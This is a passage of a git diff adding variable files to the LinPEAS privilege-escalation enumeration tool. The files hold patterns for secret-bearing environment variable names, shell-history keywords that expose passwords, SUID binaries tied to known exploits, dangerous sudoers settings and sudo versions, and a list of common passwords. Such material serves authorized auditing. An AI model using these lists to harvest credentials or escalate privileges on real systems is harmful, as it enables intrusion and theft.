_RUNNER_ENDPOINT|LOTTIE_HAPPO_API_KEY|LOTTIE_HAPPO_SECRET_KEY|LOTTIE_S3_API_KEY|LOTTIE_S3_SECRET_KEY|mailchimp_api_key|MAILCHIMP_KEY|mailchimp_list_id|mailchimp_user|MAILER_HOST|MAILER_TRANSPORT|MAILER_USER" +pwd_in_variables7="MAILGUN_APIKEY|MAILGUN_API_KEY|MAILGUN_DOMAIN|MAILGUN_PRIV_KEY|MAILGUN_PUB_APIKEY|MAILGUN_PUB_KEY|MAILGUN_SECRET_API_KEY|MAILGUN_TESTDOMAIN|ManagementAPIAccessToken|MANAGEMENT_TOKEN|MANAGE_KEY|MANAGE_SECRET|MANDRILL_API_KEY|MANIFEST_APP_TOKEN|MANIFEST_APP_URL|MapboxAccessToken|MAPBOX_ACCESS_TOKEN|MAPBOX_API_TOKEN|MAPBOX_AWS_ACCESS_KEY_ID|MAPBOX_AWS_SECRET_ACCESS_KEY|MG_API_KEY|MG_DOMAIN|MG_EMAIL_ADDR|MG_EMAIL_TO|MG_PUBLIC_API_KEY|MG_SPEND_MONEY|MG_URL|MH_APIKEY|MILE_ZERO_KEY|MINIO_ACCESS_KEY|MINIO_SECRET_KEY|MYSQLMASTERUSER|MYSQLSECRET|MYSQL_DATABASE|MYSQL_HOSTNAMEMYSQL_USER|MY_SECRET_ENV|NETLIFY_API_KEY|NETLIFY_SITE_ID|NEW_RELIC_BETA_TOKEN|NGROK_AUTH_TOKEN|NGROK_TOKEN|node_pre_gyp_accessKeyId|NODE_PRE_GYP_GITHUB_TOKEN|node_pre_gyp_secretAccessKey|NPM_API_KEY|NPM_API_TOKEN|NPM_AUTH_TOKEN|NPM_EMAIL|NPM_SECRET_KEY|NPM_TOKEN|NUGET_APIKEY|NUGET_API_KEY|NUGET_KEY|NUMBERS_SERVICE|NUMBERS_SERVICE_PASS|NUMBERS_SERVICE_USER|OAUTH_TOKEN|OBJECT_STORAGE_PROJECT_ID|OBJECT_STORAGE_USER_ID|OBJECT_STORE_BUCKET|OBJECT_STORE_CREDS|OCTEST_SERVER_BASE_URL|OCTEST_SERVER_BASE_URL_2|OC_PASS|OFTA_KEY|OFTA_SECRET|OKTA_CLIENT_TOKEN|OKTA_DOMAIN|OKTA_OAUTH2_CLIENTID|OKTA_OAUTH2_CLIENTSECRET|OKTA_OAUTH2_CLIENT_ID|OKTA_OAUTH2_CLIENT_SECRET" +pwd_in_variables8="OKTA_OAUTH2_ISSUER|OMISE_KEY|OMISE_PKEY|OMISE_PUBKEY|OMISE_SKEY|ONESIGNAL_API_KEY|ONESIGNAL_USER_AUTH_KEY|OPENWHISK_KEY|OPEN_WHISK_KEY|OSSRH_PASS|OSSRH_SECRET|OSSRH_USER|OS_AUTH_URL|OS_PROJECT_NAME|OS_TENANT_ID|OS_TENANT_NAME|PAGERDUTY_APIKEY|PAGERDUTY_ESCALATION_POLICY_ID|PAGERDUTY_FROM_USER|PAGERDUTY_PRIORITY_ID|PAGERDUTY_SERVICE_ID|PANTHEON_SITE|PARSE_APP_ID|PARSE_JS_KEY|PAYPAL_CLIENT_ID|PAYPAL_CLIENT_SECRET|PERCY_TOKEN|PERSONAL_KEY|PERSONAL_SECRET|PG_DATABASE|PG_HOST|PLACES_APIKEY|PLACES_API_KEY|PLACES_APPID|PLACES_APPLICATION_ID|PLOTLY_APIKEY|POSTGRESQL_DB|POSTGRESQL_PASS|POSTGRES_ENV_POSTGRES_DB|POSTGRES_ENV_POSTGRES_USER|POSTGRES_PORT|PREBUILD_AUTH|PROD.ACCESS.KEY.ID|PROD.SECRET.KEY|PROD_BASE_URL_RUNSCOPE|PROJECT_CONFIG|PUBLISH_KEY|PUBLISH_SECRET|PUSHOVER_TOKEN|PUSHOVER_USER|PYPI_PASSOWRD|QUIP_TOKEN|RABBITMQ_SERVER_ADDR|REDISCLOUD_URL|REDIS_STUNNEL_URLS|REFRESH_TOKEN|RELEASE_GH_TOKEN|RELEASE_TOKEN|remoteUserToShareTravis|REPORTING_WEBDAV_URL|REPORTING_WEBDAV_USER|repoToken|REST_API_KEY|RINKEBY_PRIVATE_KEY|ROPSTEN_PRIVATE_KEY|route53_access_key_id|RTD_KEY_PASS|RTD_STORE_PASS|RUBYGEMS_AUTH_TOKEN|s3_access_key|S3_ACCESS_KEY_ID|S3_BUCKET_NAME_APP_LOGS|S3_BUCKET_NAME_ASSETS|S3_KEY" +pwd_in_variables9="S3_KEY_APP_LOGS|S3_KEY_ASSETS|S3_PHOTO_BUCKET|S3_SECRET_APP_LOGS|S3_SECRET_ASSETS|S3_SECRET_KEY|S3_USER_ID|S3_USER_SECRET|SACLOUD_ACCESS_TOKEN|SACLOUD_ACCESS_TOKEN_SECRET|SACLOUD_API|SALESFORCE_BULK_TEST_SECURITY_TOKEN|SANDBOX_ACCESS_TOKEN|SANDBOX_AWS_ACCESS_KEY_ID|SANDBOX_AWS_SECRET_ACCESS_KEY|SANDBOX_LOCATION_ID|SAUCE_ACCESS_KEY|SECRETACCESSKEY|SECRETKEY|SECRET_0|SECRET_10|SECRET_11|SECRET_1|SECRET_2|SECRET_3|SECRET_4|SECRET_5|SECRET_6|SECRET_7|SECRET_8|SECRET_9|SECRET_KEY_BASE|SEGMENT_API_KEY|SELION_SELENIUM_SAUCELAB_GRID_CONFIG_FILE|SELION_SELENIUM_USE_SAUCELAB_GRID|SENDGRID|SENDGRID_API_KEY|SENDGRID_FROM_ADDRESS|SENDGRID_KEY|SENDGRID_USER|SENDWITHUS_KEY|SENTRY_AUTH_TOKEN|SERVICE_ACCOUNT_SECRET|SES_ACCESS_KEY|SES_SECRET_KEY|setDstAccessKey|setDstSecretKey|setSecretKey|SIGNING_KEY|SIGNING_KEY_SECRET|SIGNING_KEY_SID|SNOOWRAP_CLIENT_SECRET|SNOOWRAP_REDIRECT_URI|SNOOWRAP_REFRESH_TOKEN|SNOOWRAP_USER_AGENT|SNYK_API_TOKEN|SNYK_ORG_ID|SNYK_TOKEN|SOCRATA_APP_TOKEN|SOCRATA_USER|SONAR_ORGANIZATION_KEY|SONAR_PROJECT_KEY|SONAR_TOKEN|SONATYPE_GPG_KEY_NAME|SONATYPE_GPG_PASSPHRASE|SONATYPE_PASSSONATYPE_TOKEN_USER|SONATYPE_USER|SOUNDCLOUD_CLIENT_ID|SOUNDCLOUD_CLIENT_SECRET|SPACES_ACCESS_KEY_ID|SPACES_SECRET_ACCESS_KEY" +pwd_in_variables10="SPA_CLIENT_ID|SPOTIFY_API_ACCESS_TOKEN|SPOTIFY_API_CLIENT_ID|SPOTIFY_API_CLIENT_SECRET|sqsAccessKey|sqsSecretKey|SRCCLR_API_TOKEN|SSHPASS|SSMTP_CONFIG|STARSHIP_ACCOUNT_SID|STARSHIP_AUTH_TOKEN|STAR_TEST_AWS_ACCESS_KEY_ID|STAR_TEST_BUCKET|STAR_TEST_LOCATION|STAR_TEST_SECRET_ACCESS_KEY|STORMPATH_API_KEY_ID|STORMPATH_API_KEY_SECRET|STRIPE_PRIVATE|STRIPE_PUBLIC|STRIP_PUBLISHABLE_KEY|STRIP_SECRET_KEY|SURGE_LOGIN|SURGE_TOKEN|SVN_PASS|SVN_USER|TESCO_API_KEY|THERA_OSS_ACCESS_ID|THERA_OSS_ACCESS_KEY|TRAVIS_ACCESS_TOKEN|TRAVIS_API_TOKEN|TRAVIS_COM_TOKEN|TRAVIS_E2E_TOKEN|TRAVIS_GH_TOKEN|TRAVIS_PULL_REQUEST|TRAVIS_SECURE_ENV_VARS|TRAVIS_TOKEN|TREX_CLIENT_ORGURL|TREX_CLIENT_TOKEN|TREX_OKTA_CLIENT_ORGURL|TREX_OKTA_CLIENT_TOKEN|TWILIO_ACCOUNT_ID|TWILIO_ACCOUNT_SID|TWILIO_API_KEY|TWILIO_API_SECRET|TWILIO_CHAT_ACCOUNT_API_SERVICE|TWILIO_CONFIGURATION_SID|TWILIO_SID|TWILIO_TOKEN|TWITTEROAUTHACCESSSECRET|TWITTEROAUTHACCESSTOKEN|TWITTER_CONSUMER_KEY|TWITTER_CONSUMER_SECRET|UNITY_SERIAL|URBAN_KEY|URBAN_MASTER_SECRET|URBAN_SECRET|userTravis|USER_ASSETS_ACCESS_KEY_ID|USER_ASSETS_SECRET_ACCESS_KEY|VAULT_APPROLE_SECRET_ID|VAULT_PATH|VIP_GITHUB_BUILD_REPO_DEPLOY_KEY|VIP_GITHUB_DEPLOY_KEY|VIP_GITHUB_DEPLOY_KEY_PASS" +pwd_in_variables11="VIRUSTOTAL_APIKEY|VISUAL_RECOGNITION_API_KEY|V_SFDC_CLIENT_ID|V_SFDC_CLIENT_SECRET|WAKATIME_API_KEY|WAKATIME_PROJECT|WATSON_CLIENT|WATSON_CONVERSATION_WORKSPACE|WATSON_DEVICE|WATSON_DEVICE_TOPIC|WATSON_TEAM_ID|WATSON_TOPIC|WIDGET_BASIC_USER_2|WIDGET_BASIC_USER_3|WIDGET_BASIC_USER_4|WIDGET_BASIC_USER_5|WIDGET_FB_USER|WIDGET_FB_USER_2|WIDGET_FB_USER_3|WIDGET_TEST_SERVERWORDPRESS_DB_USER|WORKSPACE_ID|WPJM_PHPUNIT_GOOGLE_GEOCODE_API_KEY|WPT_DB_HOST|WPT_DB_NAME|WPT_DB_USER|WPT_PREPARE_DIR|WPT_REPORT_API_KEY|WPT_SSH_CONNECT|WPT_SSH_PRIVATE_KEY_BASE64|YANGSHUN_GH_TOKEN|YT_ACCOUNT_CHANNEL_ID|YT_ACCOUNT_CLIENT_ID|YT_ACCOUNT_CLIENT_SECRET|YT_ACCOUNT_REFRESH_TOKEN|YT_API_KEY|YT_CLIENT_ID|YT_CLIENT_SECRET|YT_PARTNER_CHANNEL_ID|YT_PARTNER_CLIENT_ID|YT_PARTNER_CLIENT_SECRET|YT_PARTNER_ID|YT_PARTNER_REFRESH_TOKEN|YT_SERVER_API_KEY|ZHULIANG_GH_TOKEN|ZOPIM_ACCOUNT_KEY" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/pwd_inside_history.sh b/linPEAS/builder/linpeas_parts/variables/pwd_inside_history.sh new file mode 100644 index 0000000..347baef --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/pwd_inside_history.sh @@ -0,0 +1,16 @@ +# Title: Variables - pwd_inside_history +# ID: pwd_inside_history +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Common binaries executed with passwords on the arguments +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $pwd_inside_history +# Fat linpeas: 0 +# Small linpeas: 1 + + +pwd_inside_history="az login|enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|roadrecon auth|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|Save-AzContext|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:|chpasswd" diff --git a/linPEAS/builder/linpeas_parts/variables/rootcommon.sh b/linPEAS/builder/linpeas_parts/variables/rootcommon.sh new file mode 100644 index 0000000..a2f966d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/rootcommon.sh @@ -0,0 +1,16 @@ +# Title: Variables - rootcommon +# ID: rootcommon +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Common root processes +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $rootcommon +# Fat linpeas: 0 +# Small linpeas: 1 + + +rootcommon="/init$|upstart-udev-bridge|udev|/getty|cron|apache2|java|tomcat|/vmtoolsd|/VGAuthService" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/shscripsG.sh b/linPEAS/builder/linpeas_parts/variables/shscripsG.sh new file mode 100644 index 0000000..1e1d03c --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/shscripsG.sh @@ -0,0 +1,16 @@ +# Title: Variables - shscripsG +# ID: shscripsG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Known scripts +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $shscripsG +# Fat linpeas: 0 +# Small linpeas: 1 + + +shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/prl-opengl-switcher.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh" diff --git a/linPEAS/builder/linpeas_parts/variables/sidB.sh b/linPEAS/builder/linpeas_parts/variables/sidB.sh new file mode 100644 index 0000000..a47b304 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/sidB.sh @@ -0,0 +1,69 @@ +# Title: Variables - sidB +# ID: sidB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Dangerous sid binaries +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $sidB +# Fat linpeas: 0 +# Small linpeas: 1 + + +#Rules: Start path " /", end path "$", divide path and vulnversion "%". SPACE IS ONLY ALLOWED AT BEGINNING, DONT USE IT IN VULN DESCRIPTION +sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ + /at$%RTru64_UNIX_4.0g\(CVE-2002-1614\)\ + /abrt-action-install-debuginfo-to-abrt-cache$%CENTOS 7.1/Fedora22\ + /chfn$%SuSE_9.3/10\ + /chkey$%Solaris_2.5.1\ + /chkperm$%Solaris_7.0_\ + /chpass$%2Vulns:OpenBSD_6.1_to_OpenBSD 6.6\(CVE-2019-19726\)--OpenBSD_2.7_i386/OpenBSD_2.6_i386/OpenBSD_2.5_1999/08/06/OpenBSD_2.5_1998/05/28/FreeBSD_4.0-RELEASE/FreeBSD_3.5-RELEASE/FreeBSD_3.4-RELEASE/NetBSD_1.4.2\ + /chpasswd$%SquirrelMail\(2004-04\)\ + /dtappgather$%Solaris_7_<_11_\(SPARC/x86\)\(CVE-2017-3622\)\ + /dtprintinfo$%Solaris_10_\(x86\)_and_lower_versions_also_SunOS_5.7_to_5.10\ + /dtsession$%Oracle_Solaris_10_1/13_and_earlier\(CVE-2020-2696\)\ + /eject$%FreeBSD_mcweject_0.9/SGI_IRIX_6.2\ + /ibstat$%IBM_AIX_Version_6.1/7.1\(09-2013\)\ + /kcheckpass$%KDE_3.2.0_<-->_3.4.2_\(both_included\)\ + /kdesud$%KDE_1.1/1.1.1/1.1.2/1.2\ + /keybase-redirector%CentOS_Linux_release_7.4.1708\ + /login$%IBM_AIX_3.2.5/SGI_IRIX_6.4\ + /lpc$%S.u.S.E_Linux_5.2\ + /lpr$%BSD/OS2.1/FreeBSD2.1.5/NeXTstep4.x/IRIX6.4/SunOS4.1.3/4.1.4\(09-1996\)\ + /mail.local$%NetBSD_7.0-7.0.1__6.1-6.1.5__6.0-6.0.6\ + /mount$%Apple_Mac_OSX\(Lion\)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8\ + /movemail$%Emacs\(08-1986\)\ + /mrinfo$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\ + /mtrace$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\ + /netprint$%IRIX_5.3/6.2/6.3/6.4/6.5/6.5.11\ + /newgrp$%HP-UX_10.20\ + /ntfs-3g$%Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others\(02-2017\)\ + /passwd$%Apple_Mac_OSX\(03-2006\)/Solaris_8/9\(12-2004\)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1\(02-1997\)\ + /pkexec$%Linux4.10_to_5.1.17\(CVE-2019-13272\)/rhel_6\(CVE-2011-1485\)\ + /pppd$%Apple_Mac_OSX_10.4.8\(05-2007\)\ + /pt_chown$%GNU_glibc_2.1/2.1.1_-6\(08-1999\)\ + /pulseaudio$%\(Ubuntu_9.04/Slackware_12.2.0\)\ + /rcp$%RedHat_6.2\ + /rdist$%Solaris_10/OpenSolaris\ + /rsh$%Apple_Mac_OSX_10.9.5/10.10.5\(09-2015\)\ + /screen$%GNU_Screen_4.5.0\ + /sdtcm_convert$%Sun_Solaris_7.0\ + /sendmail$%Sendmail_8.10.1/Sendmail_8.11.x/Linux_Kernel_2.2.x_2.4.0-test1_\(SGI_ProPack_1.2/1.3\)\ + /snap-confine$%Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation\(CVE-2019-7304\)\ + /sudo%check_if_the_sudo_version_is_vulnerable\ + /Serv-U%FTP_Server<15.1.7(CVE-2019-12181)\ + /sudoedit$%Sudo/SudoEdit_1.6.9p21/1.7.2p4/\(RHEL_5/6/7/Ubuntu\)/Sudo<=1.8.14\ + /tmux$%Tmux_1.3_1.4_privesc\(CVE-2011-1496\)\ + /traceroute$%LBL_Traceroute_\[2000-11-15\]\ + /ubuntu-core-launcher$%Befre_1.0.27.1\(CVE-2016-1580\)\ + /umount$%BSD/Linux\(08-1996\)\ + /umount-loop$%Rocks_Clusters<=4.1\(07-2006\)\ + /uucp$%Taylor_UUCP_1.0.6\ + /XFree86$%XFree86_X11R6_3.3.x/4.0/4.x/3.3\(03-2003\)\ + /xlock$%BSD/OS_2.1/DG/UX_7.0/Debian_1.3/HP-UX_10.34/IBM_AIX_4.2/SGI_IRIX_6.4/Solaris_2.5.1\(04-1997\)\ + /xscreensaver%Solaris_11.x\(CVE-2019-3010\)\ + /xorg$%Xorg_1.19_to_1.20.x\(CVE_2018-14665\)/xorg-x11-server<=1.20.3/AIX_7.1_\(6.x_to_7.x_should_be_vulnerable\)_X11.base.rte<7.1.5.32_and_\ + /xterm$%Solaris_5.5.1_X11R6.3\(05-1997\)/Debian_xterm_version_222-1etch2\(01-2009\)" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/sidG.sh b/linPEAS/builder/linpeas_parts/variables/sidG.sh new file mode 100644 index 0000000..e1595f0 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/sidG.sh @@ -0,0 +1,20 @@ +# Title: Variables - sidG1 +# ID: sidG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Known SUID files +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $sidG1, $sidG2, $sidG3, $sidG4 +# Fat linpeas: 0 +# Small linpeas: 1 + + +sidG1="/abuild-sudo$|/accton$|/allocate$|/ARDAgent$|/arping$|/atq$|/atrm$|/authpf$|/authpf-noip$|/authopen$|/batch$|/bbsuid$|/bsd-write$|/btsockstat$|/bwrap$|/cacaocsc$|/camel-lock-helper-1.2$|/ccreds_validate$|/cdrw$|/chage$|/check-foreground-console$|/chrome-sandbox$|/chsh$|/cons.saver$|/crontab$|/ct$|/cu$|/dbus-daemon-launch-helper$|/deallocate$|/desktop-create-kmenu$|/dma$|/dma-mbox-create$|/dmcrypt-get-device$|/doas$|/dotlockfile$|/dotlock.mailutils$|/dtaction$|/dtfile$|/eject$|/execabrt-action-install-debuginfo-to-abrt-cache$|/execdbus-daemon-launch-helper$|/execdma-mbox-create$|/execlockspool$|/execlogin_chpass$|/execlogin_lchpass$|/execlogin_passwd$|/execssh-keysign$|/execulog-helper$|/exim4|/expiry$|/fdformat$|/fstat$|/fusermount$|/fusermount3$" +sidG2="/gnome-pty-helper$|/glines$|/gnibbles$|/gnobots2$|/gnome-suspend$|/gnometris$|/gnomine$|/gnotski$|/gnotravex$|/gpasswd$|/gpg$|/gpio$|/gtali|/.hal-mtab-lock$|/helper$|/imapd$|/inndstart$|/kismet_cap_nrf_51822$|/kismet_cap_nxp_kw41z$|/kismet_cap_ti_cc_2531$|/kismet_cap_ti_cc_2540$|/kismet_cap_ubertooth_one$|/kismet_capture$|/kismet_cap_linux_bluetooth$|/kismet_cap_linux_wifi$|/kismet_cap_nrf_mousejack$|/ksu$|/list_devices$|/load_osxfuse$|/locate$|/lock$|/lockdev$|/lockfile$|/login_activ$|/login_crypto$|/login_radius$|/login_skey$|/login_snk$|/login_token$|/login_yubikey$|/lpc$|/lpd$|/lpd-port$|/lppasswd$|/lpq$|/lpr$|/lprm$|/lpset$|/lxc-user-nic$|/mahjongg$|/mail-lock$|/mailq$|/mail-touchlock$|/mail-unlock$|/mksnap_ffs$|/mlocate$|/mlock$|/mount$|/mount.cifs$|/mount.ecryptfs_private$|/mount.nfs$|/mount.nfs4$|/mount_osxfuse$|/mtr$|/mutt_dotlock$" +sidG3="/ncsa_auth$|/netpr$|/netkit-rcp$|/netkit-rlogin$|/netkit-rsh$|/netreport$|/netstat$|/newgidmap$|/newtask$|/newuidmap$|/nvmmctl$|/opieinfo$|/opiepasswd$|/pam_auth$|/pam_extrausers_chkpwd$|/pam_timestamp_check$|/pamverifier$|/pfexec$|/ping$|/ping6$|/pmconfig$|/pmap$|/polkit-agent-helper-1$|/polkit-explicit-grant-helper$|/polkit-grant-helper$|/polkit-grant-helper-pam$|/polkit-read-auth-helper$|/polkit-resolve-exe-helper$|/polkit-revoke-helper$|/polkit-set-default-helper$|/postdrop$|/postqueue$|/poweroff$|/ppp$|/procmail$|/pstat$|/pt_chmod$|/pwdb_chkpwd$|/quota$|/rcmd|/remote.unknown$|/rlogin$|/rmformat$|/rnews$|/run-mailcap$|/sacadm$|/same-gnome$|screen.real$|/security_authtrampoline$|/sendmail.sendmail$|/shutdown$|/skeyaudit$|/skeyinfo$|/skeyinit$|/sliplogin|/slocate$|/smbmnt$|/smbumount$|/smpatch$|/smtpctl$|/sperl5.8.8$|/ssh-agent$|/ssh-keysign$|/staprun$|/startinnfeed$|/stclient$|/su$|/suexec$|/sys-suspend$|/sysstat$|/systat$" +sidG4="/telnetlogin$|/timedc$|/tip$|/top$|/traceroute6$|/traceroute6.iputils$|/trpt$|/tsoldtlabel$|/tsoljdslabel$|/tsolxagent$|/ufsdump$|/ufsrestore$|/ulog-helper$|/umount.cifs$|/umount.nfs$|/umount.nfs4$|/unix_chkpwd$|/uptime$|/userhelper$|/userisdnctl$|/usernetctl$|/utempter$|/utmp_update$|/uucico$|/uuglist$|/uuidd$|/uuname$|/uusched$|/uustat$|/uux$|/uuxqt$|/VBoxHeadless$|/VBoxNetAdpCtl$|/VBoxNetDHCP$|/VBoxNetNAT$|/VBoxSDL$|/VBoxVolInfo$|/VirtualBoxVM$|/vmstat$|/vmware-authd$|/vmware-user-suid-wrapper$|/vmware-vmx$|/vmware-vmx-debug$|/vmware-vmx-stats$|/vncserver-x11$|/volrmmount$|/w$|/wall$|/whodo$|/write$|/X$|/Xorg.wrap$|/Xsun$|/Xvnc$|/yppasswd$" + diff --git a/linPEAS/builder/linpeas_parts/variables/sidVB.sh b/linPEAS/builder/linpeas_parts/variables/sidVB.sh new file mode 100644 index 0000000..8df4e4c --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/sidVB.sh @@ -0,0 +1,17 @@ +# Title: Variables - sidVB +# ID: sidVB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Very dangerous sid binaries +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $sidVB, $sidVB2 +# Fat linpeas: 0 +# Small linpeas: 1 + + +sidVB='peass{SUIDVB1_HERE}' +sidVB2='peass{SUIDVB2_HERE}' diff --git a/linPEAS/builder/linpeas_parts/variables/sudoB.sh b/linPEAS/builder/linpeas_parts/variables/sudoB.sh new file mode 100644 index 0000000..bb2362c --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/sudoB.sh @@ -0,0 +1,16 @@ +# Title: Variables - sudoB +# ID: sudoB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Known dangerous sudoers configs +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $sudoB +# Fat linpeas: 0 +# Small linpeas: 1 + + +sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|env_keep|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/sudoG.sh b/linPEAS/builder/linpeas_parts/variables/sudoG.sh new file mode 100644 index 0000000..5b0114a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/sudoG.sh @@ -0,0 +1,16 @@ +# Title: Variables - sudo +# ID: sudoG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Good sudoers configuration +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $sudoG +# Fat linpeas: 0 +# Small linpeas: 1 + + +sudoG="NOEXEC" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/sudoVB1.sh b/linPEAS/builder/linpeas_parts/variables/sudoVB1.sh new file mode 100644 index 0000000..012627d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/sudoVB1.sh @@ -0,0 +1,17 @@ +# Title: Variables - sudoVB1 +# ID: sudoVB1 +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Very bad sudoers configuration +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $sudoVB1, $sudoVB2 +# Fat linpeas: 0 +# Small linpeas: 1 + + +sudoVB1=" \*|env_keep\W*\+=.*LD_PRELOAD|env_keep\W*\+=.*LD_LIBRARY_PATH|peass{SUDOVB1_HERE}" +sudoVB2="peass{SUDOVB2_HERE}" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/sudovB.sh b/linPEAS/builder/linpeas_parts/variables/sudovB.sh new file mode 100644 index 0000000..9e1d0a1 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/sudovB.sh @@ -0,0 +1,16 @@ +# Title: Variables - sudovB +# ID: sudovB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Sudo version bad regex +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $sudovB +# Fat linpeas: 0 +# Small linpeas: 1 + + +sudovB="[01].[012345678].[0-9]+|1.9.[01234]|1.9.5p1" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/timersG.sh b/linPEAS/builder/linpeas_parts/variables/timersG.sh new file mode 100644 index 0000000..36fe560 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/timersG.sh @@ -0,0 +1,16 @@ +# Title: Variables - timersG +# ID: timersG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Known good timers +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $timersG +# Fat linpeas: 0 +# Small linpeas: 1 + + +timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|dpkg-db-backup.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|plocate-updatedb.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ua-license-check.timer|ua-messaging.timer|ua-timer.timer|ureadahead-stop.timer" diff --git a/linPEAS/builder/linpeas_parts/variables/top2000pwds.sh b/linPEAS/builder/linpeas_parts/variables/top2000pwds.sh new file mode 100644 index 0000000..940d7a4 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/top2000pwds.sh @@ -0,0 +1,24 @@ +# Title: Variables - top2000pwds +# ID: top2000pwds +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Top 2000 passwords +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $top2000pwds +# Fat linpeas: 0 +# Small linpeas: 1 + + +top2000pwds="123456 password 123456789 12345678 12345 qwerty 123123 111111 abc123 1234567 dragon 1q2w3e4r sunshine 654321 master 1234 football 1234567890 000000 computer 666666 superman michael internet iloveyou daniel 1qaz2wsx monkey shadow jessica letmein baseball whatever princess abcd1234 123321 starwars 121212 thomas zxcvbnm trustno1 killer welcome jordan aaaaaa 123qwe freedom password1 charlie batman jennifer 7777777 michelle diamond oliver mercedes benjamin 11111111 snoopy samantha victoria matrix george alexander secret cookie asdfgh 987654321 123abc orange fuckyou asdf1234 pepper hunter silver joshua banana 1q2w3e chelsea 1234qwer summer qwertyuiop phoenix andrew q1w2e3r4 elephant rainbow mustang merlin london garfield robert chocolate 112233 samsung qazwsx matthew buster jonathan ginger flower 555555 test caroline amanda maverick midnight martin junior 88888888 anthony jasmine creative patrick mickey 123 qwerty123 cocacola chicken passw0rd forever william nicole hello yellow nirvana justin friends cheese tigger mother liverpool blink182 asdfghjkl andrea spider scooter richard soccer rachel purple morgan melissa jackson arsenal 222222 qwe123 gabriel ferrari jasper danielle bandit angela scorpion prince maggie austin veronica nicholas monster dexter carlos thunder success hannah ashley 131313 stella brandon pokemon joseph asdfasdf 999999 metallica december chester taylor sophie samuel rabbit crystal barney xxxxxx steven ranger patricia christian asshole spiderman sandra hockey angels security parker heather 888888 victor harley 333333 system slipknot november jordan23 canada tennis qwertyui casper gemini asd123 winter hammer cooper america albert 777777 winner charles butterfly swordfish popcorn penguin dolphin carolina access 987654 hardcore corvette apples 12341234 